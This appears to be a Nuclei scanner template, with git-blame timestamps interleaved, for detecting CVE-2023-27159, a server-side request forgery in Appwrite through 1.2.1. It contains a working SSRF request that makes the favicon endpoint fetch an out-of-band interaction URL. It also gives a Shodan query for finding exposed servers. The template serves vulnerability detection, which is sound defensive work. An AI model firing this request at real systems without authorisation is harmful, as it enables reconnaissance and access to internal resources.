2023-04-13 05:27:31 +00:00
id : CVE-2023-27159
info :
2023-04-28 13:11:35 +00:00
name : Appwrite <=1.2.1 - Server-Side Request Forgery
2023-04-13 05:27:31 +00:00
author : DhiyaneshDk
severity : medium
description : |
2023-04-28 13:11:35 +00:00
Appwrite through 1.2.1 is susceptible to server-side request forgery via the component /v1/avatars/favicon. An attacker can potentially access network resources and sensitive information via a crafted GET request, thereby also making it possible to modify data and/or execute unauthorized administrative operations in the context of the affected site.
2023-04-13 05:27:31 +00:00
reference :
- https://gist.github.com/b33t1e/43b26c31e895baf7e7aea2dbf9743a9a
- https://notes.sjtu.edu.cn/gMNlpByZSDiwrl9uZyHTKA
2023-04-28 13:11:35 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2023-27159
2023-04-13 13:37:01 +00:00
classification :
2023-04-28 13:11:35 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score : 5.3
cwe-id : CWE-918
2023-04-13 13:37:01 +00:00
cve-id : CVE-2023-27159
2023-04-13 05:27:31 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2023-06-04 08:13:42 +00:00
verified : true
2023-04-13 05:27:31 +00:00
shodan-query : title:"Sign In - Appwrite"
tags : cve,cve2023,appwrite,ssrf,oast
2023-04-27 04:28:59 +00:00
http :
2023-04-13 05:27:31 +00:00
- method : GET
path :
- "{{BaseURL}}/v1/avatars/favicon?url=http://{{interactsh-url}}"
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol
words :
- "http"
- type : word
part : interactsh_request
words :
- "User-Agent: Appwrite-Server"
2023-04-28 13:11:35 +00:00
# Enhanced by md on 2023/04/20